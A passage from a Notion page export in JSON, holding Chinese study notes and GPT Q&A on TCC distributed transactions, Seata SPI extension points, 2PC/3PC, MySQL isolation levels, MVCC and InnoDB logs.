阶段:真正执行业务,不做任何业务检查,只使用Try阶段预留的业务资源。如果确认操作失败,只能人工干预处理。"]]},"created_time":1712592149246,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"56254ec1-5be1-4101-bf88-46ed83c065cb":{"value":{"id":"56254ec1-5be1-4101-bf88-46ed83c065cb","type":"bulleted_list","properties":{"title":[["Cancel 阶段:在业务执行失败时,取消执行业务,释放在Try阶段预留的业务资源。"]]},"created_time":1712592149246,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0c31f2d7-c4de-42dc-974f-f69697a354ba":{"value":{"id":"0c31f2d7-c4de-42dc-974f-f69697a354ba","type":"text","properties":{"title":[["一个简单的TCC模式的例子是银行转账服务:"]]},"created_time":1712592149246,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2883ad42-b2c2-49d4-abf2-73c3a1f7ec3b":{"value":{"id":"2883ad42-b2c2-49d4-abf2-73c3a1f7ec3b","type":"code","properties":{"title":[["public interface TransferService {\n\n // Try阶段\n void tryTransfer(TransferInfo transferInfo) throws BusinessException;\n\n // Confirm阶段\n void confirmTransfer(TransferInfo transferInfo) throws BusinessException;\n\n // Cancel阶段\n void cancelTransfer(TransferInfo transferInfo) throws BusinessException;\n\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712592149255,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4134a69f-f960-46bc-a919-1a6c5961a32c":{"value":{"id":"4134a69f-f960-46bc-a919-1a6c5961a32c","type":"text","properties":{"title":[["在这个例子中,tryTransfer方法会尝试执行转账操作,例如检查账户余额是否足够,预留转账金额等。如果tryTransfer成功,那么会进入confirmTransfer阶段,真正执行转账操作。如果在tryTransfer或confirmTransfer阶段发生异常,那么会调用cancelTransfer方法,取消转账操作,释放预留的转账金额。"]]},"created_time":1712592149255,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"679c0ac3-b61d-462f-873e-95512bf53534":{"value":{"id":"679c0ac3-b61d-462f-873e-95512bf53534","type":"text","properties":{"title":[["TCC模式的优点是业务逻辑清晰,容易理解和实现。但是也有一些缺点,例如需要为每个操作实现对应的确认操作和取消操作,这可能会增加开发的复杂性。另外,如果在Confirm阶段或Cancel阶段出现异常,可能需要人工介入处理。"]]},"created_time":1712592149255,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"15cbeb95-7d43-4517-bae7-502daadde547":{"value":{"id":"15cbeb95-7d43-4517-bae7-502daadde547","type":"text","properties":{"title":[["TCC模式适合于需要进行复杂业务操作、业务检查、资源预留的分布式事务场景,例如电商系统的订单创建、支付系统的资金转账等。"]]},"created_time":1712592149255,"last_edited_time":1712592149260,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"36e3c748-966b-44c5-8a8c-2e7906b1d8bc":{"value":{"id":"36e3c748-966b-44c5-8a8c-2e7906b1d8bc","type":"divider","created_time":1712592155301,"last_edited_time":1712592155303,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"33aefaa8-d562-463a-9865-b1eb2438874b":{"value":{"id":"33aefaa8-d562-463a-9865-b1eb2438874b","type":"text","created_time":1712592185679,"last_edited_time":1712592185679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7a8f86bf-f7d9-47df-b6a8-718ec1fac9ef":{"value":{"id":"7a8f86bf-f7d9-47df-b6a8-718ec1fac9ef","type":"quote","properties":{"title":[["2pc模式和3pc模式,其实不关心业务逻辑的,主要是关心最后commit,所以从单体事务迁移过来的时候不用做太大的代码修改。但是如果我使用TCC的话,意味着我需要重新写一遍业务逻辑是吧。我还是无法理解TCC模式的分布式事务思想体现,TCC也有协调者吗,需要多个tryTransfer都成功才能confirm是吧。如果任意节点tryTransfer不成功,或者协调者挂了也会同步阻塞是吧"]]},"created_time":1712592551304,"last_edited_time":1712592551680,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3a99eb90-cf2b-4430-950c-aa31ca4645ae":{"value":{"id":"3a99eb90-cf2b-4430-950c-aa31ca4645ae","type":"text","properties":{"title":[["你的理解是正确的。TCC模式是需要对业务逻辑进行改造,需要为每个操作实现Try、Confirm和Cancel三个操作。它的主要思想是把一个全局事务划分为多个本地的Try、Confirm和Cancel操作,通过业务逻辑来保证全局事务的一致性。"]]},"created_time":1712592556367,"last_edited_time":1712592556370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"610daf1e-e643-477e-bbc9-64d181d54b59":{"value":{"id":"610daf1e-e643-477e-bbc9-64d181d54b59","type":"text","properties":{"title":[["关于协调者,TCC模式一般也需要一个事务协调者来协调和控制全局事务的执行。协调者会记录每个参与者的状态,如果所有参与者的Try操作都成功,那么协调者会通知所有参与者执行Confirm操作。如果有任何一个参与者的Try操作失败,或者在一定的超时时间内没有收到参与者的响应,那么协调者会通知所有参与者执行Cancel操作。"]]},"created_time":1712592556367,"last_edited_time":1712592556370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"43e6e2d8-91af-4046-8709-a48ab1e23e63":{"value":{"id":"43e6e2d8-91af-4046-8709-a48ab1e23e63","type":"text","properties":{"title":[["如果协调者挂了,一般会有以下处理方式:"]]},"created_time":1712592556367,"last_edited_time":1712592556370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5f9f0901-b6e1-43bd-94e4-782fd86bd760":{"value":{"id":"5f9f0901-b6e1-43bd-94e4-782fd86bd760","type":"numbered_list","properties":{"title":[["状态恢复",[["b"]]],[":协调者挂了之后再次恢复,需要恢复其状态,这需要依赖持久化机制。协调者需要将事务的所有阶段和参与者的状态等信息持久化,挂掉后再次恢复时,可以通过这些信息恢复状态。"]]},"created_time":1712592556367,"last_edited_time":1712592556370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6bf427ba-1e60-498c-895f-74ab24dea6c0":{"value":{"id":"6bf427ba-1e60-498c-895f-74ab24dea6c0","type":"numbered_list","properties":{"title":[["超时处理",[["b"]]],[":为了防止长时间阻塞,TCC事务一般会设计超时机制。例如,如果在一定时间内协调者没有通知参与者进行Confirm或Cancel操作,那么参与者可以自动进行超时处理,如执行Cancel操作。"]]},"created_time":1712592556367,"last_edited_time":1712592556370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c9816bcb-69e1-45bb-afde-ae9d2511c0c8":{"value":{"id":"c9816bcb-69e1-45bb-afde-ae9d2511c0c8","type":"text","properties":{"title":[["至于同步阻塞问题,如果采用了超时处理机制,那么可以避免由于等待协调者导致的长时间阻塞。但是,由于TCC模式涉及到业务逻辑,业务执行的时间可能比较长,因此可能会有一定程度的阻塞。但这种阻塞一般可通过适当的系统设计和优化来缓解。"]]},"created_time":1712592556367,"last_edited_time":1712592556370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ba4c471e-c867-4bba-8372-1d9e42b1bbc4":{"value":{"id":"ba4c471e-c867-4bba-8372-1d9e42b1bbc4","type":"divider","created_time":1712596100546,"last_edited_time":1712596100548,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c193321b-a43c-4abe-8028-017e19a39a4a":{"value":{"id":"c193321b-a43c-4abe-8028-017e19a39a4a","type":"text","created_time":1712596100567,"last_edited_time":1712596100567,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"51086886-1e2f-41fa-a8fc-80b03b189de5":{"value":{"id":"51086886-1e2f-41fa-a8fc-80b03b189de5","type":"quote","properties":{"title":[["前文你提到Seata提供了丰富的SPI扩展点,开发者可以通过实现SPI接口来定制自己的扩展模块,给我几个具体的例子。还有我理解SPI就是运行时的动态代理,我的理解正确吗"]]},"created_time":1712592580145,"last_edited_time":1712592721508,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9b562033-6e23-4213-80f1-ca7c3aa9021b":{"value":{"id":"9b562033-6e23-4213-80f1-ca7c3aa9021b","type":"text","properties":{"title":[["Seata 的 SPI 扩展点主要有以下几个例子:"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"43ec7bd2-97cd-45e0-b9b1-be0d13c2098b":{"value":{"id":"43ec7bd2-97cd-45e0-b9b1-be0d13c2098b","type":"numbered_list","properties":{"title":[["ResourceManager:负责管理一类资源(例如数据库连接)的逻辑,用户可以根据自己的需求来实现这个接口。"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"8cc78461-688e-4ce8-90ae-e9d06a3fa2d0":{"value":{"id":"8cc78461-688e-4ce8-90ae-e9d06a3fa2d0","type":"numbered_list","properties":{"title":[["TransactionManager:负责事务的生命周期管理,包括开始事务、提交事务和回滚事务等。"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e85ba214-079b-4106-bf6e-8c9cc04eda1a":{"value":{"id":"e85ba214-079b-4106-bf6e-8c9cc04eda1a","type":"numbered_list","properties":{"title":[["LockManager:负责锁的管理,包括获取锁、释放锁等。"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"8a2cdc35-7af5-4b9f-abf4-4c1ad8f8cb7a":{"value":{"id":"8a2cdc35-7af5-4b9f-abf4-4c1ad8f8cb7a","type":"numbered_list","properties":{"title":[["Store:负责事务日志的存储,用户可以根据自己的需求来实现这个接口,例如实现基于文件的存储、基于数据库的存储、基于分布式存储系统的存储等。"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3194faf0-5f20-4e64-9bd7-33ce3a00490a":{"value":{"id":"3194faf0-5f20-4e64-9bd7-33ce3a00490a","type":"text","properties":{"title":[["开发者可以通过实现以上这些接口,来根据自己的需求定制自己的扩展。"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0d691344-0287-41db-a4dc-6efc90121b26":{"value":{"id":"0d691344-0287-41db-a4dc-6efc90121b26","type":"text","properties":{"title":[["对于你的第二个问题,SPI (Service Provider Interface) 并不是运行时的动态代理。SPI 是一种服务发现机制。它通过在类路径下的 META-INF/services 目录中查找文件,然后加载文件所指定的类,这是一种运行时动态加载的机制。这与动态代理是两个不同的概念,动态代理主要是用来在运行时动态地创建一个接口的实现类。"]]},"created_time":1712592714675,"last_edited_time":1712592714679,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"990c119d-5e64-4248-bc7d-5c193e2d7173":{"value":{"id":"990c119d-5e64-4248-bc7d-5c193e2d7173","type":"divider","created_time":1712593314791,"last_edited_time":1712593314792,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"caa2e594-3ded-44df-aed3-ccae00e00bff":{"value":{"id":"caa2e594-3ded-44df-aed3-ccae00e00bff","type":"text","created_time":1712593314819,"last_edited_time":1712593314819,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d8e91a74-f393-4541-85de-b0d9994b8590":{"value":{"id":"d8e91a74-f393-4541-85de-b0d9994b8590","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2e8129a2-e97f-4632-a4fc-12443036ef71","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556393724,"last_edited_time":1712556555736,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"2e8129a2-e97f-4632-a4fc-12443036ef71"}},"1dfb1717-e797-4dfa-8bc8-7576babf8a4c":{"value":{"id":"1dfb1717-e797-4dfa-8bc8-7576babf8a4c","type":"bulleted_list","properties":{"title":[["熔断是为了防止情况继续恶化甚至雪崩,如果代码健壮,熔断后还可以自治,自恢复"]]},"format":{"copied_from_pointer":{"id":"7a77d366-db86-41b5-a144-dc34cf4e6a83","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556393725,"last_edited_time":1712592785817,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"7a77d366-db86-41b5-a144-dc34cf4e6a83"}},"60783dcb-447c-48fc-b679-53f61d23744a":{"value":{"id":"60783dcb-447c-48fc-b679-53f61d23744a","type":"bulleted_list","properties":{"title":[["2PC,3PC,TCC仅仅是协议/思想,seata可以自由切换,支持3PC?"]]},"created_time":1712592781858,"last_edited_time":1712592877955,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a42aa0d6-da55-4e18-a76e-c80fee9aa7a4":{"value":{"id":"a42aa0d6-da55-4e18-a76e-c80fee9aa7a4","type":"bulleted_list","properties":{"title":[["2PC有协调者崩溃造成同步等待的情况,没有超时概念,因为无法知道其他节点收到什么样的命令"]]},"created_time":1712592878316,"last_edited_time":1712592942776,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a5a5fdaf-7afd-4e35-a57a-995e3aa65416":{"value":{"id":"a5a5fdaf-7afd-4e35-a57a-995e3aa65416","type":"bulleted_list","properties":{"title":[["3PC在二阶段prepare的时候就可以提交了,有可能造成数据不一致,比如A节点收到了prepare_cmd,B节点没收到或者超时收到prepare_cmd。就会造成数据不一致,但是总体而言解决了同步等待的问题,还有can_cmd从一定程度上规避了风险了,can_cmd都确认了其实后两步都很快。do_cmd只是做及时确认,由于有超时机制,其实默认60s就do了"]]},"created_time":1712592943082,"last_edited_time":1712593174832,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2532841f-e3ec-46de-9139-e66fce35b43b":{"value":{"id":"2532841f-e3ec-46de-9139-e66fce35b43b","type":"bulleted_list","properties":{"title":[["TCC很烦的是要改代码,太恶心了。"]]},"created_time":1712593175051,"last_edited_time":1712593192745,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0be83ed9-fdf0-4331-9ae0-d806fed28b34":{"value":{"id":"0be83ed9-fdf0-4331-9ae0-d806fed28b34","type":"bulleted_list","properties":{"title":[["一致性问题到最后都是追寻最终一致性,银行对账系统存在说明大家都不放心数据一致性问题,都在想方设法的保证最终一致性"]]},"created_time":1712593192992,"last_edited_time":1712593256618,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1707fe6b-6b11-433e-a1bb-f672dab6a492":{"value":{"id":"1707fe6b-6b11-433e-a1bb-f672dab6a492","type":"text","created_time":1712593307667,"last_edited_time":1712593308359,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2e452753-191d-40b2-8615-088e30e75c05":{"value":{"id":"2e452753-191d-40b2-8615-088e30e75c05","type":"text","created_time":1712556389954,"last_edited_time":1712556389954,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"065eeccd-fa3d-4cf5-954f-208414f1dd91":{"value":{"id":"065eeccd-fa3d-4cf5-954f-208414f1dd91","type":"sub_header","properties":{"title":[["7.事务隔离级别MVCC三个日志文件"]]},"created_time":1712556410493,"last_edited_time":1712556723035,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"427d4469-ee94-49f4-9583-fe087a99d192":{"value":{"id":"427d4469-ee94-49f4-9583-fe087a99d192","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"d85ef88a-350b-4e56-b8a7-5e9f2f01cf4a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556413057,"last_edited_time":1712556413060,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"d85ef88a-350b-4e56-b8a7-5e9f2f01cf4a"}},"1becf461-3302-494a-8f73-dfc596c59193":{"value":{"id":"1becf461-3302-494a-8f73-dfc596c59193","type":"quote","properties":{"title":[["mysql事务隔离级别有哪些,分别解决了什么问题。MVCC机制是什么"]]},"format":{"copied_from_pointer":{"id":"962cb662-c38b-4438-b3a4-df15d28b90f6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556413057,"last_edited_time":1712593327149,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"962cb662-c38b-4438-b3a4-df15d28b90f6"}},"2723fa6b-23e7-4815-936c-12f8b19010f3":{"value":{"id":"2723fa6b-23e7-4815-936c-12f8b19010f3","type":"text","properties":{"title":[["MySQL事务隔离级别有四种,分别为:"]]},"created_time":1712593370293,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ffda016d-a6e7-44be-a6af-9ece8a4d2a23":{"value":{"id":"ffda016d-a6e7-44be-a6af-9ece8a4d2a23","type":"numbered_list","properties":{"title":[["读未提交(Read Uncommitted):这是最低的事务隔离级别,它允许事务读取尚未提交的改变。在这个级别,可能会出现脏读(Dirty Read)、不可重复读(Nonrepeatable Read)和幻读(Phantom Read)的情况。"]]},"created_time":1712593370294,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e598b28d-835a-4d58-a42b-82461b32f6bb":{"value":{"id":"e598b28d-835a-4d58-a42b-82461b32f6bb","type":"numbered_list","properties":{"title":[["读已提交(Read Committed):这是大多数DBMS(数据库管理系统)的默认隔离级别(但不是MySQL默认的)。它不允许脏读,但可能会出现不可重复读和幻读的情况。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ea92814f-36ce-4304-8034-36e2c44c93f6":{"value":{"id":"ea92814f-36ce-4304-8034-36e2c44c93f6","type":"numbered_list","properties":{"title":[["可重复读(Repeatable Read):这是MySQL的默认隔离级别。它确保同一事务的多次读取结果是一致的。但是,它仍然可能出现幻读的情况。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5a9d70c6-99d0-4352-bdb8-16791c1842b0":{"value":{"id":"5a9d70c6-99d0-4352-bdb8-16791c1842b0","type":"numbered_list","properties":{"title":[["串行化(Serializable):这是最高的隔离级别。它完全阻止了脏读、不可重复读和幻读。但是,这种隔离级别通常对性能有影响,因为它在读取时会阻止其他事务进行写入。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"84e00d77-484c-4359-b1af-dde2f737f35d":{"value":{"id":"84e00d77-484c-4359-b1af-dde2f737f35d","type":"text","properties":{"title":[["解决的问题:"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"cd62eeef-748c-4be8-b2cd-8da35a903164":{"value":{"id":"cd62eeef-748c-4be8-b2cd-8da35a903164","type":"bulleted_list","properties":{"title":[["脏读:某个事务已更新一份数据,另一个事务在此时读取了同一份数据,由于某些原因,前一个RollBack了操作,那么后一个事务获取的数据就会是不正确的。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7e0a27ac-b471-4178-bd51-ea8d15dc6469":{"value":{"id":"7e0a27ac-b471-4178-bd51-ea8d15dc6469","type":"bulleted_list","properties":{"title":[["不可重复读:在一个事务内,多次读同一数据。在这个事务还没有结束时,另一个事务也访问了该数据。那么,在第一个事务中的两次读数据之间,由于第二个事务的修改,那么第一个事务两次读到的数据可能是不一样的。 这就是不可重复读。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a5fb770c-2029-4108-823c-42d958eeb6b1":{"value":{"id":"a5fb770c-2029-4108-823c-42d958eeb6b1","type":"bulleted_list","properties":{"title":[["幻读:一个事务按照某种搜索条件获取了某些值,而这时另一个事务却插入了一些满足该搜索条件的新值,第一个事务再次使用同一搜索条件获取值,会发现多了一些原本不存在的记录,就像发生了幻觉一样,这就叫幻读。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2e55e855-2762-4667-bc2b-5b48115efcad":{"value":{"id":"2e55e855-2762-4667-bc2b-5b48115efcad","type":"text","properties":{"title":[["MVCC,即多版本并发控制(Multi-Version Concurrency Control)。它是一种并发控制的方法。当多个用户访问同一份数据时,每个用户都会看到自己的一份数据快照,而这份数据快照是在事务开始时创建的。这样,用户就不会看到其他用户在事务期间所做的修改。MVCC既可以实现读已提交和可重复读隔离级别,又可以通过在每行记录上保存两个隐藏的列来实现,一个用来记录该行的创建时间(或者说是版本号),一个用来记录该行的过期时间(或者说是版本号)。"]]},"created_time":1712593370295,"last_edited_time":1712593370300,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"b56e8256-87ec-40bd-b09f-cdb1d402ce53":{"value":{"id":"b56e8256-87ec-40bd-b09f-cdb1d402ce53","type":"divider","format":{"copied_from_pointer":{"id":"ed9d4efb-59bf-4e29-a0fe-eafef875dd2b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556413057,"last_edited_time":1712556413060,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"ed9d4efb-59bf-4e29-a0fe-eafef875dd2b"}},"2bb428fa-2753-4e8a-9df2-15593379b9a7":{"value":{"id":"2bb428fa-2753-4e8a-9df2-15593379b9a7","type":"text","format":{"copied_from_pointer":{"id":"d8e91a74-f393-4541-85de-b0d9994b8590","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712593330826,"last_edited_time":1712593330826,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0b3bd01e-b4fd-4b97-8a8d-16f92ab17fb6":{"value":{"id":"0b3bd01e-b4fd-4b97-8a8d-16f92ab17fb6","type":"quote","properties":{"title":[["只有for update加锁读才是当前读,其余都是快照读。MVCC引入目的,就是解决不可重复读的问题。但是如果在RR模式下,使用select * from xx for update 才会出现幻读,快照读是不会产生幻读的"]]},"created_time":1712593334049,"last_edited_time":1712593542620,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"faebcb8f-b5a2-4126-94a6-74d6bffdf43b":{"value":{"id":"faebcb8f-b5a2-4126-94a6-74d6bffdf43b","type":"text","properties":{"title":[["是的,你说的对。MVCC的目标主要是解决“不可重复读”问题,并且在大多数情况下,它可以防止“幻读”问题。"]]},"created_time":1712593547607,"last_edited_time":1712593547610,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"75079c74-3939-4a9c-9e6f-6dcc010671b1":{"value":{"id":"75079c74-3939-4a9c-9e6f-6dcc010671b1","type":"text","properties":{"title":[["在MySQL中,只有"],["SELECT...FOR UPDATE",[["c"]]],["才是当前读,它会对选定的行加锁。其余的查询都是快照读,它们工作在一个快照版本上,不会阻塞其他事务。"]]},"created_time":1712593547607,"last_edited_time":1712593547610,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"42afb93b-82bd-435c-85e4-098c8f66fed9":{"value":{"id":"42afb93b-82bd-435c-85e4-098c8f66fed9","type":"text","properties":{"title":[["在可重复读(Repeatable Read)隔离级别下,快照读确实不会产生幻读,因为同一事务的所有快照读都是基于相同的快照版本。但在同一事务中,如果你使用"],["SELECT...FOR UPDATE",[["c"]]],["(即当前读),那么由于此时会锁定被选中的行,如果此时有其他事务插入了满足该搜索条件的新行,当你再次执行相同的"],["SELECT...FOR UPDATE",[["c"]]],["语句时,你会看到这些新插入的行,这就可能导致幻读。"]]},"created_time":1712593547607,"last_edited_time":1712593547610,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a0edc27e-d223-4501-bd58-a7c375da5edf":{"value":{"id":"a0edc27e-d223-4501-bd58-a7c375da5edf","type":"text","properties":{"title":[["为了解决这个问题,一种可能的解决方案是在事务开始时就将所有可能会访问的行都锁定,但这可能会导致性能问题。在实践中,如果需要防止幻读,通常会使用更高的隔离级别,如串行化(Serializable)。"]]},"created_time":1712593547607,"last_edited_time":1712593547610,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ae37d0c4-d4fc-41a1-89e7-478a080019ae":{"value":{"id":"ae37d0c4-d4fc-41a1-89e7-478a080019ae","type":"divider","created_time":1712593610411,"last_edited_time":1712593610412,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"52aef311-2398-4309-bc49-c4f966fa1f45":{"value":{"id":"52aef311-2398-4309-bc49-c4f966fa1f45","type":"text","created_time":1712593590034,"last_edited_time":1712593590034,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3c60c16e-c7a4-4ff1-a021-ef96f4d2e28f":{"value":{"id":"3c60c16e-c7a4-4ff1-a021-ef96f4d2e28f","type":"quote","properties":{"title":[["mysql在innodb引擎里面的三大日志文件是啥,分别有啥用"]]},"created_time":1712593593467,"last_edited_time":1712593597184,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"15e6c3d3-453c-4aed-8a1f-fe517631ae0d":{"value":{"id":"15e6c3d3-453c-4aed-8a1f-fe517631ae0d","type":"text","properties":{"title":[["MySQL的InnoDB存储引擎有三大重要的日志文件:"]]},"created_time":1712593608008,"last_edited_time":1712593608012,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c516fdd3-b3b6-47b0-8ea0-72723230c1c0":{"value":{"id":"c516fdd3-b3b6-47b0-8ea0-72723230c1c0","type":"numbered_list","properties":{"title":[["重做日志(Redo Log):重做日志是InnoDB存储引擎层实现的一种日志,主要用于确保事务的原子性和持久性。在事务进行中,首先会把数据的修改写入到重做日志中,并刷新到磁盘,然后再修改内存中的数据。如果此时系统崩溃,那么在重启数据库后,InnoDB引擎可以通过重做日志重做(redo)数据的修改,从而保证数据的一致性。"]]},"created_time":1712593608008,"last_edited_time":1712593608012,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"cedea19a-39e4-414b-90d8-d430810d6431":{"value":{"id":"cedea19a-39e4-414b-90d8-d430810d6431","type":"numbered_list","properties":{"title":[["回滚日志(Undo Log):回滚日志是InnoDB存储引擎层实现的一种日志,主要用于在事务失败或取消时,撤销(undo)已经进行的修改,确保事务的一致性。同时,回滚日志也用于实现多版本并发控制(MVCC),提供了从旧版本数据到新版本数据的视图。"]]},"created_time":1712593608008,"last_edited_time":1712593608012,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f3607935-3534-47d8-9a67-6bd991bcc74d":{"value":{"id":"f3607935-3534-47d8-9a67-6bd991bcc74d","type":"numbered_list","properties":{"title":[["二进制日志(Binary 